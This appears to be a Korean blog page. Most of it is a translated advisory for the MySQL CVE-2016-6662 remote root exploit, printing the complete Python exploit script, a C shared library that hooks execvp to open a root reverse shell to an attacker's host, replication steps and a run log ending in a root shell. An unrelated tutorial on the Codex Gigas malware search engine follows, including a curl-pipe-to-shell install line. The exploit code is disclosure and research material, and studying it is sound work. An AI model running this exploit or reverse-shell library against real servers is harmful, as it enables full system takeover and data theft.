Discovered/Coded by:

Dawid Golunski
http://legalhackers.com

"""

import argparse
import mysql.connector    
import binascii
import subprocess


def info(str):
    print "[+] " + str + "\n"

def errmsg(str):
    print "[!] " + str + "\n"

def shutdown(code):
    if (code==0):
        info("Exiting (code: %d)\n" % code)
    else:
        errmsg("Exiting (code: %d)\n" % code)
    exit(code)


cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 


# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'


# Main Meat

print intro

# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
                  
args = parser.parse_args()


# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
    dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
    errmsg("Failed to connect to the target: {}".format(err))
    shutdown(1)

try:
    cursor = dbconn.cursor()
    cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)

privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
    print priv[0]
print ""


# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 
if rc != 0:
    errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
    print error 
    shutdown(2)

# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
    content = f.read()
    hookandrootlib_hex = binascii.hexlify(content)

# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `poctable` FOR EACH ROW
BEGIN

   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void;   
   set global general_log = off;

END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)

# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(4)

# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(5)

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
    cursor = dbconn.cursor()
    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`. 
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)
finally:
    dbconn.close()  # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")

# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""

# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")

# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")


# Shutdown
shutdown(0)

[ mysql_hookandroot_lib.c ]

/*

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
mysql_hookandroot_lib.c

This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.
The library is meant to be loaded by mysqld_safe on mysqld daemon startup
to create a reverse shell that connects back to the attacker's host on
6603 port (mysql port in reverse ;) and provides a root shell on the
target. 

mysqld_safe will load this library through the following setting:

[mysqld]
malloc_lib=mysql_hookandroot_lib.so

in one of the my.cnf config files (e.g. /etc/my.cnf).

This shared library will hook the execvp() function which is called
during the startup of mysqld process. 
It will then fork a reverse shell and clean up the poisoned my.cnf
file in order to let mysqld run as normal so that:
'service mysql restart' will work without a problem.

Before compiling adjust IP / PORT and config path.


~~
Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


~~
Compilation (remember to choose settings compatible with the remote OS/arch):

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

Disclaimer:

For testing purposes only. Do no harm.

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt

*/

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"

char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;


// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {

    int i; int sockfd;
    //socklen_t socklen;
    struct sockaddr_in srv_addr;
    srv_addr.sin_family = AF_INET; 
    srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
    srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip 

    // create new TCP socket && connect
    sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
    connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
	
    for(i = 0; i <= 2; i++) dup2(sockfd, i);
    execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );

    exit(0);
}


/*
 cleanup injected data from the target config before it is read by mysqld
 in order to ensure clean startup of the service

 The injection (if done via logging) will start with a line like this:

 /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:

*/

int config_cleanup() {

    FILE *conf;
    char buffer[2000];
    long cut_offset=0;

    conf = fopen(INJECTED_CONF, "r+");
    if (!conf) return 1;

    while (!feof(conf)) {
       fgets(buffer, sizeof(buffer), conf);
       if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
	  cut_offset = (ftell(conf) - strlen(buffer));
       }

    }
    if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
    fclose(conf);
    return 0;

}


// execvp() hook
int execvp(const char* filename, char* const argv[]) {

    pid_t  pid;
    int fd;

    // Simple root PoC (touch /root/root_via_mysql)
    fd = open("/root/root_via_mysql", O_CREAT);
    close(fd);

    old_execvp = dlsym(RTLD_NEXT, "execvp");

    // Fork a reverse shell and execute the original execvp() function
    pid = fork();
    if (pid == 0) 
          reverse_shell();

    // clean injected payload before mysqld is started
    config_cleanup();
    return old_execvp(filename, argv);
}

Replication / testing:

대상 시스템에서 관리자로 다음과 같이 구성한다.

1. 테스트를 위해서 데이터베이스와 데이터베이스의 관리자 권한을 설정한다.

CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';

2.  MySQL 설정에 아무거나 작성 가능할 수 있는 것 처럼 보이게 만든다. 이는 다음과 같이 유효하고 파싱 가능한 섹션을 포함하는 설정이 필요하다.

[isamchk]
key_buffer		= 16M

데비안에서 /etc/mysql/my.cnf에는 다음과 같이 설정한다.

chown mysql:mysql /etc/mysql/my.cnf
ls -l /etc/mysql/my.cnf
-rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf

3. 공격자에 의해 공격을 실행하고, 공격했을 때 MySQL을 재시작하면 공격 성공한 것을 확인할 수 있다.

공격자:

  1. 라이브러리 경로를 mysql_hookanroot_lib.c 소스에 입력
  2. 0ldSQL_MySQL_RCE_exploit.py 스크립트를 실행

실행 예제:

./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 192.168.1.10 and target mysql account 'attacker@192.168.1.10' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /etc/mysql/my.cnf

[+] Showing the contents of /etc/mysql/my.cnf config to verify that our setting (malloc_lib) got injected

[mysql]
#no-auto-rehash	# faster start of mysql but no tab completition

[isamchk]
key_buffer		= 16M

!includedir /etc/mysql/conf.d/
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160912  8:48:41	   44 Query	select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void
		   44 Query	SET global general_log = off

[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

listening on [any] 6033 ...

connect to [192.168.1.20] from dbserver [192.168.1.10] 36932
bash: cannot set terminal process group (963): Inappropriate ioctl for device
bash: no job control in this shell

root@debian:/# id
id
uid=0(root) gid=0(root) groups=0(root)

root@debian:/# ls -l /root/root_via_mysql
---------- 1 root root 0 Sep 10 22:50 /root/root_via_mysql


root@debian:/# exit      
exit
exit

[+] Shell closed. Hope you had fun. 

[+] Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)

[+] Exiting (code: 0)

VII. BUSINESS IMPACT

앞서 논의한 것과 같이 취약점은 MySQL 계정이 권한을 가지거나 권한이 없는(FILE 권한만) 접근 모두 공격자에 의해 공격당할 수 있다. 또한 공격자는 CVE-2016-6663 취약점과 결합하여 FILE 권한 없이 루트로 권한 상승하도록 허용할 수 있다.

이 취약점은 공격자가 직접 MySQL에 연결할 필요 없이 SQL 인젝션 공격을 통해 사용할 수 있기에 위험이 증가한다. 성공적인 공격은 공격자들이 루트 권한으로 원격 셸을 얻어 원격 시스템을 완전히 손상시킬 것이다.

만약 공격에 성공하였다면, 악의적인 코드는 MySQL 데몬이 재시작되기를 기다릴 것이다. MySQL 서비스의 재시작은 여러 가지 이유가 있을 것이다.

VIII. SYSTEMS AFFECTED

가장 최근 버전부터 가장 오래된 버전까지 모든 MySQL 버전은 이 취약점에 영향을 받는다.

일부 시스템은 mysqld_safe wrapper 스크립트를 사용 대신 직적 mysqld 데몬이 위치한 경로나 Systemd를 통해 MySQL을 실행한다. 하지만 이러한 시스템은 설치 스크립트 또는 다른 시스템 서비스에 의해 진행되는 업데이트를 위해 mysqld_safe를 호출할 수 있으므로 여전히 위험에 노출된다.

이 취약점은 일반적으로 MySQL 서버 (예, 설정 파일)에 의해 사용되는 파일에 접근할 수 있는 것과, 기본 정책에 포함되지 않은 채 시작되는 mysqld_safe 스크립트의 사전에 로드하는 기능으로 인해 라이브러리 삽입이 가능한 것을 악용한다. 그러기에 MySQL 데몬을 위한 보안 정책으로 SELinux와 AppArmor와 같은 보안 모듈이 설치된 곳에서도 공격이 가능하다.

IX. VENDOR RESPONSE / SOLUTION

이 취약점은 2016년 7월 29일 오라클에 보고했고 보안 팀에 의해 패치 우선순위를 부여받았다. 또한 PerconaDB와 MariaDB를 포함하여 영향을 받는 다른 업체에도 보고했다.

그리고 8월 30일을 끝으로 PerconaDB와 MariaDB는 패치되었다. 이들 업체들이 패치하는 과정은 공개 저장소에 저장되었고, 보안 문제 수정은 새로운 릴리즈와 함께 언급되기에 악의적인 공격자에게 알려질 수 있다.

이 문제와 패치 보고한 지 40일이 지났고 이미 공개적으로 언급(PerconaDB와 MariaDB에 의해)되었기에 제조사의 다음 CPU 업데이트(10월 18일에 예정된) 전에 사용자에게 알리기 위해 취약점을 공개(PoC를 제한하여)하기로 결정했다.

제조사에서는 이 시간까지 사용 가능한 공식적인 패치나 임시 조치(Mitigations)가 없었다. 그래서 사용자는 MySQL 설정 파일이 MySQL 사용자가 소유하지 않도록 하고 루트 권한으로 더미 my.cnf 파일을 생성하도록 작성하도록 일시적인 조치를 취하는 것이 좋다.

이러한 것은 완벽한 해결책이 될 수 없기에 공식적인 업체가 제공하는 패치를 적용해야 한다.

Update (16/09/2016): 

찾은 취약점에 침묵하던 제조사(다시 말해서, 연구원에게 이메일과 같은 개인 이메일을 통해 직접 알렸음에도 불구하고 공개적으로 중요한 수정을 알리는 Security Alert에 즉시 공개를 하지 않았다)는 다음과 같이 CVE-2016-6662 취약점에 대해 보안 패치를 진행했다.

https://dev.mysql.com/doc/relnotes/mysql/5.7/en/news-5-7-15.html
https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-33.html
https://dev.mysql.com/doc/relnotes/mysql/5.5/en/news-5-5-52.html

취약하고 공격 가증한 버전 리스트는 다음과 같이 변경했다.

MySQL  <= 5.7.14
                5.6.32
                5.5.51

X. REFERENCES

http://legalhackers.com

http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

이 문서의 소스코드:
http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py

http://legalhackers.com/exploits/mysql_hookandroot_lib.c

MySQL releases containing security fixes:
https://dev.mysql.com/doc/relnotes/mysql/5.5/en/news-5-5-52.html
https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-33.html
https://dev.mysql.com/doc/relnotes/mysql/5.7/en/news-5-7-15.html
which can be downloaded from:
http://dev.mysql.com/downloads/mysql/

https://mariadb.org/mariadb-server-versions-remote-root-code-execution-vulnerability-cve-2016-6662/

https://security-tracker.debian.org/tracker/CVE-2016-6662

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6662

MySQL 버전 3.23.55에서 수정된 오래된 취약점 정보:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0150

XI. CREDITS

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com

XII. REVISION HISTORY

12.09.2016 - 이 문서는 0day 상태로 공개적으로 발표했다.
16.09.2016 - 일부 보안 포럼에서 알게된 오해를 명확히 하는 것이 중요할 것 같아서 IV 섹션에 중요한 부분을 업데이트했다.
16.09.2016 - IX 섹션에 패치에 대한 정보를 추가하고 I와 II 섹션에 이를 반영하여 업데이트했다.

XIII. LEGAL NOTICES

이 문서에 포함된 정보는 적합성의 보장이나 보증 그 외 어떤 것을 사용하지 않고 "현 상태" 그대로 제공된다. 이 정보의 사용이나 오용으로 인한 손해는 작성자가 책임지지 않는다.


본 문서는 (주)한국정보보호교육센터 f-NGS 연구소에서 의역하고 작성한 내용입니다.
Written and Translated by hakawati in KISEC 40th

'Advanced > Vulnerability' 카테고리의 다른 글

CVE-2016-6662 (2)  (0) 2016.09.19

개요

악성코드 DNA 프로파일링 검색 엔진 Codex Gigas는 수집한 악성코드에서 무언가를 특정 짓기 위해 악성코드의 패턴과 특성을 찾아낸다. 

Codex Gigas는 악성코드 수집과 분석하여 악성코드 내부를 조사할 수 있고, 많은 수의 파일에서 특성을 검색할 수 있는 악성코드 프로파일링 검색 엔진이다. 예를 들어, 파일 수준의 해시에 의존하는 대신에 파일 규격에 정의되어 있는 함수 호출, 문자열, 정수, 파일 세그먼트, 코드 영역과 같은 다른 기능을 계산할 수 있고, 기타 추가적으로 142가지 검색 가능한 패턴을 제공하기에 이들을 섞어 검색할 수 있다.


구성 (선택사항)

MongoDB 경로

MongoDB의 기본 경로는 codex-backedcodex-fronted의 메인 경로에 설정되어 있다. 만약 기본 경로를 변경하고 싶다면 docker-compose.yml의 네 번째 줄을 수정한다.

    - ../mongo-data/:/data/db

VirusTotal

VirusTotal은 파일을 요청해 백신의 결과를 검색하기에 유용하다. 자신의 VirusTotal API keysrc/secrets.py에 추가한다. 그런 다음 컨테이너를 재시작한다.


sudo docker-compose restart


Codex Gigas 설치

docker & docker-compose 설치

먼저 dockerdocker-compose를 설치한다. Codex Gigas 설치는 우분투 14.04 LTS 운영체제에서 진행했다.


wget -qO- https://get.docker.com/ | sh
sudo usermod -aG docker $(whoami)
sudo apt-get install python-pip
sudo pip install docker-compose

Codex Gigas 설치

docker를 활용하여 Codex Gigas를 설치한다. 성공적으로 설치가 끝난 메시지는 바로 웹 서비스가 실행된 메시지로 만나볼 수 있다.


sudo apt-get install p7zip-full git
git clone https://github.com/codexgigassys/codex-backend
git clone https://github.com/codexgigassys/codex-frontend
cd codex-backend/yara/

./setupYarGen.sh
cd ..
cp src/secrets.py.sample src/secrets.py

설치가 모두 끝났다면 도커 서비스를 실행한다. 그리고 docker-compose 명령으로 도커 이용한 설치와 웹 서버 운영을 할 수 있다.


sudo service docker start
sudo docker-compose up

원하는 경우 도커 컨테이너를 stop/start 할 수 있다.


sudo docker-compose stop
sudo docker-compose start


파일 불러오기

대규모 파일을 로드하기 위해 file_to_load 폴더에 파일들을 저장하고 다음 명령을 실행한다.


curl http://127.0.0.1:4500/api/v1/load_to_mongo


즉시 사용 가능한 가상 머신

원하는 VM 파일을 다운로드할 수 있다. 내부에는 가상 머신 시작과 동시에 Codex Gigas가 실행되도록 구성했다.

  • VMware (sha1: 9C6B3F8F37C8BD119E5C8A07050CB28C1A7E2DF3)
  • VirtualBox (sha1: 8289A8BEAF2D75A6D2B4E80ADEB943A806E26373)

VM 패스워드: codex


APT-notes 샘플 - https://github.com/kbandla/APTnotes

테스트를 위해 지난 수년간 APT 보고서에 언급되었던 5437개의 실행 가능한 샘플 (sha1: 6EA9BBFBB5FB0EB0D025221A522D907E6D4956A0)을 수집했다. zip 압축 파일의 패스워드를 알고싶다면, CodexGigasSys 트위터로 직접 메시지를 보내주길 바란다.


개발

이 오픈소스에 기여하고 싶다면, Codex Gigas는 BSD 라이선스로 열려있고, 큰 커뮤니티에 의존해 공동 개발할 수 있게 노력하고 있다. 티켓 발급, 요청하기, 기능 제안, 버그 수정 등 모두 환영한다.

새로운 모듈이나 패치를 개발할 때, 이 프로젝트를 유지하기 위해 일반적인 코딩 스타일을 준수하길 부탁드린다. 새로운 기능이나 중요한 버그를 수정하는 것을 소개할 때 우리의 가이드 문서에 요약과 가능성을 소개하여 포함하는 것 또한 부탁드린다.

디버깅하고 싶다면 다음 명령으로 손쉽게 할 수 있다.


sudo docker-compose --service-ports --rm api

이 방법은 응용프로그램이 백그라운드에서 동작하지 않고 IPython에서 embed()를 사용할 수 있다.

Codex Gigas 플러그인을 통해 파일의 메타데이터를 추출한다. 각 플러그인은 파일 형태로 수신하고, 수신한 파일은 MongoDB에 저장되어 파이썬 딕셔너리 형태로 반환한다. 플러그인 위치는 src/PlugIns이다. 새로운 플러그인을 추가하기 위해서는 윈도우에서 실행 가능한 형태로 제작한 파일은 src/PlugIns/PE/에, 플러그인 이름은 Prosessors/PEProcessor.pyPlugIns/PE/__init__.py에 추가한다.


사용자 가이드

Codex Gigas는 도커 컨테이너를 시작한 후 http://127.0.0.1:6100으로 접속할 수 있다.

Codex Gigas를 이용한 검색

Codex Gigas를 이용한 고급 검색

Section name과 같이 다른 특징을 포함하여 특정 파일을 찾고싶다면 search 창에 찾고자 하는 기준을 선택하고 검색한다.

추가되는 상자는 다음과 같이 볼 수 있다.

다른 원하는 조건을 추가할 수도 있다.

텍스트 상자의 오른쪽에 있는 X를 클릭하여 선택한 기준을 지울 수 있다. 또한 오른쪽에 있는 더하기 기호를 통해 같은 유형을 여러개 추가하여 다양한 조건으로 검색할 수 있다.

엔진의 일부 기능을 보여주기 위해 스턱스넷, 디노, 제우스를 검색할 수 있도록 구성했다.

Stuxnet이 사용한 DLL을 검색하기:

악성코드 샘플을 실행하기 위해서는 특정 라이브러리를 가지고 있는 DLL을 사용할 수 있다. 예로, 스턱스넷은 s7otbxdx.dll을 사용하고 이 .dll은 시멘스 시맨틱 S7 PLC(Programmable Logic Computers의 약자로 자동화 시스템을 의미)의 일부분이다. 이 정보를 Portable Executable > Imports > Library에서 검색할 수 있다.

Library를 클릭하면 다음과 같이 검색할 수 있다.

Library 입력 박스에 s7otbxdx.dll를 입력하고 출력되는 결과를 제한하도록 선택한 후에 검색 버튼을 클릭한다. 제한 수치를 0으로 사용하는 경우, 무제한으로 검색하기에 사용할 때 주의한다. 참고로 오타가 있는 .dll이나 데이터베이스에 .dll이 없는 경우 다음과 같이 텍스트박스는 빨강색으로 강조되어 보여준다.

또한, "Attributes for results preview"의 드롭다운 목록을 볼 수 있는데, 하나 이상의 카테고리를 선택하여 속성을 선택할 수 있다. 예를 들어, Time Date Stamp, Description 그리고 Size를 선택하여 그 결과를 받아 볼 수 있다. 어떠한 특성을 선택하지 않을 경우, 일치하는 검색 조건에 맞는 각각 파일의 SHA1, Description, Size만을 보여준다. 검색 결과는 아래 그림과 같다.

파일 크기나 시간과 같이 특정 속성을 필터링하여 검색할 수 있는 filter function을 사용할 수 있다.

지금까지 살펴본 것처럼 많은 데이터를 찾기 위해 유용한 버튼들이 있다.

체크 버튼 Check all을 선택할 경우, 검색된 모든 결과를 선택한다.

Download Button은 선택한 결과를 zip 파일로 압축하여 다운로드한다. 파일의 패스워드는 "codex"를 사용한다.

Export Button은 선택한 파일로부터 메타데이터를 추출하여 텍스트 파일로 다운로드한다.

Process Button은 프로레스 큐에 파일을 추가한다.

새로운 플러그인을 추가하거나 기존의 플러그인을 변경할 경우에 유용하다. Copy hashes button은 선택한 모든 해시를 복사한다.

Generate Yara Rule 버튼은 선택한 파일에 대한 Yara 룰을 생성한다. 이 기능은 yarGen을 사용하는데, yarGen을 사용하려면 시스템에 최소 5GB 이상의 메모리가 필요하다.

추가로, 결과 중 하나를 선택하면 metadata tree를 볼 수 있다.

메타데이터 트리는 몇가지 형태로 구성되고, 어떤 파일인가에 따라 다양할 것이다.

문자열을 이용하여 Dino (Animal Farm APT의 일부)를 검색하기:

"Dino.exe" 처럼 바이너리의 원래 이름은 작성자의 기록에 의해 표시된다. 다른 Dino 샘플을 검색하기 위해 이 문자열을 사용할 수 있다.

이제 찾고자 하는 문자열 "dino.exe'를 입력한다.

search을 클릭하면 기준과 일치하는 파일을 볼 수 있다.

Zeus 파일 섹션을 이용하여 검색하기:

일반 파일 섹션은 악성코드 변종을 관찰 할 수 있다. 이 경우 제우스의 .data 섹션의 SHA1은 'edbc64b30aceabd6e7d32defc698c1475861a42d'이다.

위에서 볼 수 있듯이, 이 해시를 가지는 .data 섹션과 일치하는 파일이 많이 있다. Size와 Time data stamp는 모든 결과에 대해 동일하다. 화면 오른쪽에 있는 Charts Section을 사용하면 시각화된 정보를 통해 작업을 쉽게 할 수 있다.

열을 기준으로 결과를 정렬하려면 열 이름을 클릭 할 수 있으며, 아래 그림은 file_entropy를 클릭하면 어떤 결과가 보여줄지 그 예로 살펴볼 수 있다.

단순 비교 기능

Codex Gigas의 다른 유용한 기능은 단순 비교 기능이다. 이미 검색을 수행한 후에 화면 오른쪽에 발견될 수 있다.

최선의 선택한 두 파일을 비교하고 두 파일 사이의 차이를 시각화하여 유사점을 찾을 수 있게 기능을 제공한다. 그냥 필요로하는 파일을 선택하고 표시된 블록 중 하나를 드래그한다. 사용자는 화면에 맞게 최대화하고 결과를 더 잘 시각화 할 수 있게 클릭할 수 있다.

위의 각 개별 파일의 메타데이터를 보고 아래처럼 비교한다.

Diff tab에서 다음을 볼 수 있다. 

  • 수정된 속성은 노랑색으로 강조
  • 새로운 속성은 녹색으로 강조
  • 삭제된 속성은 빨강색으로 강조
  • 동일 속성은 흰색으로 강조

이러한 비교는 기본으로 첫 번째 박스에서 파일을 사용하여 만들어진다.

동등 탭에서 두 파일이 일치하는 모든 메타데이터를 볼 수 있다.

샘플 핸들링

파일 버튼 기능

Download Button은 앞서 언급한 다운로드 버튼과 유사한 기능을 가지고 있지만, 현재 보여지는 파일만 다운로드한다. .zip 파일의 패스워드는 동일하게 "codex"다.

Process Button은 자동으로 파일을 재 프로세스하고 결과를 업데이트한다.

Export Button은 메타데이터를 .txt 파일로 내보낸다.

VT scan Data 버튼은 현재 보고 있는 파일 해시를 통해 찾은 정보를 수집하고 메타데이터 트리에 추가한다.

스캔 영역에서 각 백신 공급 업체에서 탐지한 결과를 자세히 확인할 수 있다.

샘플 다운로드

다운로드 탭의 텍스트박스에 해시 목록을 입력하여 여러 샘플을 다운로드할 수 있다. zip 파일은 "codex" 암호를 가진다. 이 기능의 사용은 실제 악성코드를 다운로드 하는 것이기에 위험할 수 있다.

"File buttons functionality" 섹션에 설명된 다운로드 버튼을 사용하는 것과 같이 파일을 다운로드할 수 있다.

샘플 업로드

Codex Gigas는 선택한 샘플을 업로드하고, 파일의 메타데이터에 대한 자세한 정보를 수집하고 처리할 수 있는 기능을 제공한다. 우선 선택한 샘플을 업로드하라면 기능 패널에서 업로드 탭으로 이동한다. 다음 처럼 페이지가 표시된다.

여기서 파일을 업로드하려면 Browse... 버튼(그림에서는 Examinar...로 표시되어 있으나, 실제 구축하면 Browse...로 표시)을 클릭, 이동 그리고 체크하여 파일을 업로드한다.

성공적으로 업로드되면 파일의 SHA1 해시를 보여준다. 이 해시를 사용하여 Codex Gigas 엔진에 의해 분석된 해당 파일의 정보를 찾아 볼 수 있다.

대규모 샘플 업로드

